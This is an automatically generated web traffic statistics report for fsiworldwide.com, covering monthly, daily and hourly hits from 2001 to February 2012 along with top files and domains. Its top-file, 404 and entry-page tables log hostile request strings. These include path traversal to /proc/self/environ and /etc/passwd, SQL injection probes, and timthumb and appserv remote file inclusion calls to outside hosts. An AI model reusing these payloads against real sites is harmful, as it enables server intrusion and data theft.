Overall Activity Report:
fsiworldwide.com

(Accesses Through 06:26:07 05 Feb 2012)

| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |


Index

Long-Term Statistics:

     

Statistics for the Current Month (Feb 2012):

Key Terms:

Hits: The total number of files requested from the server.
Bytes: The amount of information transferred in filling those requests.
Visits: The (approximate) number of actual individual visitors.
PViews: The number of Web pages viewed by those visitors.

The bar graphs below are based upon number of visitors.


Monthly Statistics

        Hits               Bytes      Visits      PViews      Month

           6               4,440           1           3   Oct 2001  
          35              72,428          21          22   Nov 2001  
          42              81,444          26          28   Dec 2001  
          65             113,348          41          45   Jan 2002  
          40              75,926          26          27   Feb 2002  
          34              70,688          21          21   Mar 2002  
          29              61,708          17          17   Apr 2002  
       1,516           1,969,420          29       1,498   May 2002  
          53              91,964          39          39   Jun 2002  
          56             101,552          40          38   Jul 2002  
          46              65,760          40          39   Aug 2002  
          34              57,954          25          24   Sep 2002  
          38              58,336          30          31   Oct 2002  
          31              58,400          21          21   Nov 2002  
          26              45,710          19          19   Dec 2002  
          26              45,808          18          19   Jan 2003  
          34              75,089          22          18   Feb 2003  
          26              43,918          19          19   Mar 2003  
          26              58,839          15          13   Apr 2003  
          38              49,907          28          35   May 2003  
          22              31,053          20          20   Jun 2003  
          23              31,409          19          21   Jul 2003  
          40              90,492          22          21   Aug 2003  
          46              88,951          27          30   Sep 2003  
          37              63,197          27          28   Oct 2003  
          50              78,572          38          41   Nov 2003  
          50              91,518          36          35   Dec 2003  
          51              86,546          40          39   Jan 2004  
          39              61,599          28          32   Feb 2004  
          69             102,541          50          59   Mar 2004  
          69             108,780          51          56   Apr 2004  
          64              95,734          49          55   May 2004  
          87             117,422          59          79   Jun 2004  
          66             122,892          47          50   Jul 2004  
          88             141,942          67          75   Aug 2004  
          83             130,599          66          72   Sep 2004  
         115             194,900          81          98   Oct 2004  
         136             282,461          87         112   Nov 2004  
         150             348,576          95         126   Dec 2004  
         459             812,418          94         428   Jan 2005  
         207             431,414         102         172   Feb 2005  
         237             586,897         138         194   Mar 2005  
         335             816,958         151         293   Apr 2005  
         517           1,309,275         288         419   May 2005  
         507           1,213,946         305         429   Jun 2005  
         440           1,102,697         273         365   Jul 2005  
         512           1,307,182         321         432   Aug 2005  
         527           1,356,633         311         444   Sep 2005  
         515           1,302,810         311         419   Oct 2005  
         464           1,165,862         295         377   Nov 2005  
         382             953,132         252         312   Dec 2005  
         749           1,632,086         366         597   Jan 2006  
         459             978,964         249         375   Feb 2006  
         401             872,713         193         342   Mar 2006  
         284             613,191         152         212   Apr 2006  
         215             553,069         127         162   May 2006  
         242             532,404         134         180   Jun 2006  
         265             626,250         157         199   Jul 2006  
         241             583,157         138         195   Aug 2006  
         249             607,830         157         194   Sep 2006  
         264             567,981         166         190   Oct 2006  
         270             606,056         160         198   Nov 2006  
         305             651,917         173         216   Dec 2006  
         481           1,072,188         235         357   Jan 2007  
         402             909,479         208         292   Feb 2007  
         581           1,197,862         273         420   Mar 2007  
         446           1,029,532         234         322   Apr 2007  
         408             969,822         244         286   May 2007  
         403             903,378         230         261   Jun 2007  
         429             921,780         216         297   Jul 2007  
         469             989,892         236         282   Aug 2007  
         831           3,283,329         235         292   Sep 2007  
         356           1,868,469          55          63   Oct 2007  
         733           4,163,581         117         132   Nov 2007  
       4,350          24,466,696         644       1,974   Dec 2007  
       3,575          17,617,471         600         846   Jan 2008  
       3,930          18,310,354         719         684   Feb 2008  
       7,669          21,274,600       1,171         798   Mar 2008  
      12,438          32,384,767       1,774         976   Apr 2008  
      26,548          63,460,077       2,891       1,768   May 2008  
      22,167          54,543,661       2,442       1,483   Jun 2008  
      28,886          95,266,114       3,152       2,698   Jul 2008  
       8,182          35,343,420       1,161       1,123   Aug 2008  
      19,609          62,143,825       1,836       1,577   Sep 2008  
      28,398          88,957,870       2,070       1,643   Oct 2008  
      25,672          82,726,999       1,999       1,838   Nov 2008  
      21,505          74,730,427       1,666       1,462   Dec 2008  
      20,213          69,742,952       2,093       1,835   Jan 2009  
      20,368          63,124,768       2,308       1,552   Feb 2009  
      24,648          70,564,212       2,081       1,543   Mar 2009  
      23,539          68,020,680       1,573       1,364   Apr 2009  
      24,859          76,955,200       2,415       2,176   May 2009  
      22,488          64,087,565       2,212       1,900   Jun 2009  
      23,283          65,471,961       2,910       2,375   Jul 2009  
      14,337          40,672,977       1,742       1,580   Aug 2009  
      12,983          36,491,826       1,704       1,390   Sep 2009  
      29,608          81,784,794       3,647       3,225   Oct 2009  
      17,942          54,202,649       1,649       1,678   Nov 2009  
      17,813          54,665,477       2,173       2,172   Dec 2009  
      21,781          62,352,419       2,555       2,812   Jan 2010  
      20,536          64,758,527       2,332       2,545   Feb 2010  
      23,013          72,536,776       2,162       2,666   Mar 2010  
      22,024          73,191,755       2,633       3,720   Apr 2010  
      24,018          88,884,358       3,395       5,997   May 2010  
      27,875         124,252,199       4,517       8,335   Jun 2010  
      77,967         194,080,643      11,924      14,026   Jul 2010  
      91,997         231,069,147      15,325      16,144   Aug 2010  
      61,494         184,861,346      10,171      15,007   Sep 2010  
      38,313         108,299,126       7,028       9,975   Oct 2010  
      19,666          94,077,982       5,687      10,787   Nov 2010  
      24,938         112,094,566       7,630      13,579   Dec 2010  
      28,368         126,263,379       8,591      15,610   Jan 2011  
      24,426         130,299,806       7,929      13,586   Feb 2011  
      25,255         108,906,396       8,612      11,974   Mar 2011  
      24,431          95,524,046       8,014      10,527   Apr 2011  
      13,333          47,053,783       4,857       5,067   May 2011  
      10,673          37,045,384       1,874       4,373   Jun 2011  
      10,628          42,066,929       2,069       3,843   Jul 2011  
      20,033          85,098,953       5,257       6,103   Aug 2011  
      28,510          84,752,145       3,980      17,642   Sep 2011  
      26,247          77,522,718       2,552      17,355   Oct 2011  
      46,574          83,098,992       4,552      12,644   Nov 2011  
     316,948         210,590,205       7,696      10,917   Dec 2011  
      77,753          74,602,239       4,595       5,609   Jan 2012  
       2,992           4,916,162         596         433   Feb 2012  

[ Return to Index ]


Daily Statistics (Past Five Weeks)

        Hits               Bytes      Visits      PViews       Date


       7,298           3,877,180         198          33     01 Jan  
       5,192           2,918,010         176          29     02 Jan  
       2,693           1,994,966         188          45     03 Jan  
      14,429           8,052,691         326          59     04 Jan  
       9,233           5,596,606         272          52     05 Jan  
       4,721           3,049,862         247          48     06 Jan  
       4,106           7,998,523         212         945     07 Jan  

         664             579,126         157          43     08 Jan  
         877           1,141,660         135          54     09 Jan  
         842           1,287,021         166          62     10 Jan  
       2,009           3,488,290         109       1,019     11 Jan  
       1,595           7,072,833         126         986     12 Jan  
         651           1,170,383          95         293     13 Jan  
         452             770,258         101          58     14 Jan  

         915             765,847         117          40     15 Jan  
       1,189           1,625,628         126          64     16 Jan  
       1,330           3,735,317          88       1,047     17 Jan  
         449             839,899         103          44     18 Jan  
       1,488           1,678,930         103          55     19 Jan  
       1,097           1,273,600          94          34     20 Jan  
       5,359           2,826,363         144          31     21 Jan  

       3,373           1,814,654         115          36     22 Jan  
       1,127           1,367,576         132          53     23 Jan  
         563           1,246,300         145          67     24 Jan  
       1,263           1,400,451         156          51     25 Jan  
       1,552           1,732,425         127          49     26 Jan  
         405           1,050,002         120          55     27 Jan  
         323             483,757          91          34     28 Jan  

       1,044             907,468         121          46     29 Jan  
         877           1,396,753         140          49     30 Jan  
         637           1,459,860         165         128     31 Jan  
         677           1,249,904         133         109     01 Feb  
         588           1,293,178         141         124     02 Feb  
         649           1,172,269         153          64     03 Feb  
         647             819,402         141         110     04 Feb  

         431             381,409          28          26     05 Feb  

[ Return to Index ]


Day of Week Averages

        Hits               Bytes      Visits      PViews        Day

       2,659           1,588,855         142          40        Sun  
       1,852           1,689,925         142          50        Mon  
       1,213           1,944,693         150         270        Tue  
       3,765           3,006,247         165         256        Wed  
       2,891           3,474,794         154         253        Thu  
       1,505           1,543,223         142          99        Fri  
       2,177           2,579,661         138         236        Sat  

[ Return to Index ]


Hourly Averages

        Hits               Bytes      Visits      PViews       Hour

          28              48,107           6           7         00  
          22              36,458           5          12         01  
          12              26,579           4           2         02  
          38              25,419           5           2         03  
          29              27,666           6           3         04  
          23              37,846           5           7         05  
          33              31,619           5           3         06  
          37              32,275           6           2         07  
          37              50,497           7           2         08  
          52              93,784           7           9         09  
          39              60,575           7           8         10  
          33              84,978           6           3         11  
          54              79,667           6           3         12  
          62              85,504           7           2         13  
          52              89,538           8           5         14  
          68             132,815           5           5         15  
          39              91,613           5           8         16  
          67              63,298           5           2         17  
          55              40,506           5           2         18  
          50              39,336           4           1         19  
          36              43,409           6           2         20  
          35              30,276           5           2         21  
          34              29,635           5           1         22  
          20              23,967           5           3         23  

[ Return to Index ]


"Record Book"

Most Hits: 63,360 (Dec 14, 2011)

Most Bytes: 32,950,923 (Dec 14, 2011)

Most Visits: 716 (Aug 18, 2010)

Most PViews: 4,279 (Dec 19, 2011)

[ Return to Index ]


Top 10 Files by Number of Hits (Feb 2012)

Last Accessed               Hits           Bytes   File

05:39:07 05 Feb 2012         413       1,394,338   /
04:01:03 05 Feb 2012          10          18,613   /dealers.php
17:55:47 02 Feb 2012           2           8,612   /index.php?do=register
01:04:09 05 Feb 2012           2          12,992   /index.php?option=com_bbs&bid='
22:40:33 04 Feb 2012           1           6,496   /../proc/self/environ%0000
02:59:31 02 Feb 2012           1           6,496   /proc/self/environ%0000
06:52:43 01 Feb 2012           1           2,116   /index.php?action=logout
12:34:33 04 Feb 2012           1           6,496   /index.php?option=com_user&task=confirmreset
12:34:32 04 Feb 2012           1           6,496   /index.php?option=com_user&view=reset&layout=confirm
05:12:37 03 Feb 2012           1           1,056   /images/

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Files by Volume (Feb 2012)

Last Accessed               Hits           Bytes   File

05:39:07 05 Feb 2012         413       1,394,338   /
04:01:03 05 Feb 2012          10          18,613   /dealers.php
01:04:09 05 Feb 2012           2          12,992   /index.php?option=com_bbs&bid='
17:55:47 02 Feb 2012           2           8,612   /index.php?do=register
22:40:33 04 Feb 2012           1           6,496   /../proc/self/environ%0000
02:59:31 02 Feb 2012           1           6,496   /proc/self/environ%0000
12:34:33 04 Feb 2012           1           6,496   /index.php?option=com_user&task=confirmreset
12:34:32 04 Feb 2012           1           6,496   /index.php?option=com_user&view=reset&layout=confirm
06:52:43 01 Feb 2012           1           2,116   /index.php?action=logout
05:12:37 03 Feb 2012           1           1,056   /images/

[ Complete File Statistics ]
[ Return to Index ]


Top 10 Most Frequently Requested 404 Files (Feb 2012)

Last Accessed               Hits           Bytes   File

04:45:05 05 Feb 2012          63          31,500   /robots.txt
00:48:29 05 Feb 2012          36          18,000   /favicon.ico
01:03:29 04 Feb 2012          15           7,500   /wp-content/themes/duotive-three/includes/timthumb.php?src=http:/blogger.com.nilgirisrealty.com/cok.php
15:37:39 03 Feb 2012          12           6,000   /wp-content/plugins/category-grid-view-gallery/includes/timthumb.phptimthumb.php?src=http:/wordpress.com.fesyenwanita.com/self.php
07:40:36 04 Feb 2012          12           6,000   /appserv/main.php?appserv_root=http:/60.251.240.26/off.png??
10:16:52 04 Feb 2012          12           6,000   /wp-content/themes/DailyNotesTheme/Theme/DailyNotes/timthumb.php?src=http:/img.youtube.com.supercerveau.com/stress.php
07:40:35 04 Feb 2012          12           6,000   /appserv/main.php?appserv_root=http:/60.251.240.26/on.png??
07:40:33 04 Feb 2012          12           6,000   /appserv/main.php?appserv_root=test??
15:37:32 03 Feb 2012          12           6,000   /wp-content/plugins/category-grid-view-gallery/includes/timthumb.php_tbs.php?src=http:/wordpress.com.fesyenwanita.com/self.php
10:16:53 04 Feb 2012          11           5,500   /wp-content/themes/DailyNotesTheme/Theme/DailyNotes/thumb.php?src=http:/img.youtube.com.supercerveau.com/stress.php

[ Complete 404 File Not Found Statistics ]
[ Return to Index ]


Top 10 "Entrance" Pages (Feb 2012)

                            Hits                   File

                           1,518                   /
                              30                   /dealers.php
                              11                   /index.php?do=register
                              10                   /index.php
                               3                   /proc/self/environ%0000
                               2                   /////?_SERVER%5BDOCUMENT_ROOT%5D=test?
                               2                   /index.php?option=com_user&view=reset&layout=confirm
                               2                   /etc/passwd%00
                               2                   /?src=http:/picasa.com.ozun.ro/pl.php
                               2                   /../proc/self/environ%0000

[ Complete File Statistics ]
[ Return to Index ]


Top 10 "Exit" Pages (Feb 2012)

                            Hits                   File

                           1,486                   /
                              50                   /dealers.php
                              10                   /index.php
                               7                   /proc/self/environ%0000
                               3                   /../proc/self/environ%00
                               2                   /?manufacturers_id='
                               2                   /index.php?option=com_user&task=confirmreset
                               2                   /index.php?do=register
                               2                   /?src=http:/picasa.com.ozun.ro/pl.php
                               2                   /../proc/self/environ%0000

[ Complete File Statistics ]
[ Return to Index ]


"Top Level" Domains (Feb 2012)

Last Accessed               Hits           Bytes   "Top Level" Domain

05:41:20 05 Feb 2012         447       1,488,132   net  = US Network
04:06:08 05 Feb 2012         630       1,483,655   xxx  = Unresolved Domain
05:39:07 05 Feb 2012         790       1,154,934   com  = US Commercial
04:36:52 05 Feb 2012         506         282,672   ru   = Russian Federation
23:32:34 04 Feb 2012          36          86,794   org  = US Organization
15:01:01 04 Feb 2012         173          86,500   br   = Brazil
15:07:28 04 Feb 2012          17          77,294   ca   = Canada
13:00:10 04 Feb 2012          81          46,471   info = Dot-Info
02:39:17 05 Feb 2012           5          26,484   ua   = Ukraine
07:40:36 04 Feb 2012          47          23,500   nl   = Netherlands
08:25:57 04 Feb 2012          31          19,294   de   = Germany
11:21:37 03 Feb 2012          14          18,992   fr   = France
20:38:14 04 Feb 2012          19          15,496   it   = Italy
16:46:00 02 Feb 2012          21          10,500   eu   = Europe
14:12:21 01 Feb 2012          18           9,000   uk   = United Kingdom
19:29:39 04 Feb 2012          15           7,500   tw   = Taiwan
15:04:24 04 Feb 2012          15           7,500   za   = South Africa
08:01:01 03 Feb 2012           3           7,471   lt   = Lithuania
12:32:59 03 Feb 2012          14           7,000   in   = India
16:54:12 01 Feb 2012          12           6,000   us   = United States
01:18:22 04 Feb 2012          10           5,000   lv   = Latvia
17:59:28 04 Feb 2012          10           5,000   vn   = Viet Nam
13:13:17 04 Feb 2012           8           4,000   id   = Indonesia
15:07:02 04 Feb 2012           8           4,000   ar   = Argentina
04:54:15 02 Feb 2012           7           3,500   no   = Norway
08:37:30 04 Feb 2012           3           3,473   cz   = Czech Republic
04:12:10 05 Feb 2012           6           3,000   by   = Belarus
22:19:18 04 Feb 2012           6           3,000   jp   = Japan
14:50:52 03 Feb 2012           5           2,500   eg   = Egypt
05:06:16 01 Feb 2012           5           2,500   np   = Nepal
14:54:59 03 Feb 2012           5           2,500   se   = Sweden
13:41:17 02 Feb 2012           4           2,000   biz  = Dot-Biz
00:55:19 02 Feb 2012           4           2,000   is   = Iceland
10:45:30 03 Feb 2012           3           1,500   pt   = Portugal
13:30:48 04 Feb 2012           3           1,500   au   = Australia
19:47:03 01 Feb 2012           3           1,500   at   = Austria
20:14:00 01 Feb 2012           2           1,000   tr   = Turkey
18:48:00 02 Feb 2012           2           1,000   sg   = Singapore
22:43:57 01 Feb 2012           2           1,000   name = Dot-Name
04:55:32 02 Feb 2012           1             500   gr   = Greece
07:01:51 04 Feb 2012           1             500   bg   = Bulgaria

[ Return to Index ]


Top 10 Domains by Number of Hits (Feb 2012)

Last Access                 Hits           Bytes   Domain

04:06:08 05 Feb 2012         630       1,483,655   
04:36:52 05 Feb 2012         464         232,000   travelcases.ru
12:48:08 01 Feb 2012         210         105,000   newton.13studiohost.com
06:17:34 03 Feb 2012         135          67,500   mail.e-mesto.com
17:47:51 03 Feb 2012          84          42,000   200-98-131-200.clouduol.com.br
19:40:05 04 Feb 2012          59          29,500   45-107-162-69.static.reverse.lstn.net
07:09:03 04 Feb 2012          44          22,000   188.allbee.com.br
16:34:18 01 Feb 2012          41         159,881   pool-72-80-229-128.nycmny.east.verizon.net
10:28:00 04 Feb 2012          37          18,500   s15851436.onlinehome-server.info
07:40:36 04 Feb 2012          36          18,000   wh-www14.xs4all.nl

[ Complete Domain Statistics ]
[ Return to Index ]


Top 10 Domains by Volume (Feb 2012)

Last Access                 Hits           Bytes   Domain

04:06:08 05 Feb 2012         630       1,483,655   
04:36:52 05 Feb 2012         464         232,000   travelcases.ru
04:13:17 04 Feb 2012          30         194,130   178-137-16-47-lvv.broadband.kyivstar.net
13:58:40 03 Feb 2012          28         160,943   rrcs-184-74-25-172.nys.biz.rr.com
16:34:18 01 Feb 2012          41         159,881   pool-72-80-229-128.nycmny.east.verizon.net
00:52:36 05 Feb 2012          35         117,107   ool-ad0317a5.dyn.optonline.net
12:48:08 01 Feb 2012         210         105,000   newton.13studiohost.com
15:05:02 01 Feb 2012          15          99,367   host-10.gemssensors.com
14:48:57 03 Feb 2012          17          83,791   rrcs-208-105-84-175.nyc.biz.rr.com
08:16:59 02 Feb 2012          15          80,075   c-76-118-202-26.hsd1.ma.comcast.net

[ Complete Domain Statistics ]
[ Return to Index ]


| Access Details Report | Referring URLs Report | Keywords Report | Agents/Platforms Report |

This report was generated with WebLog 2.53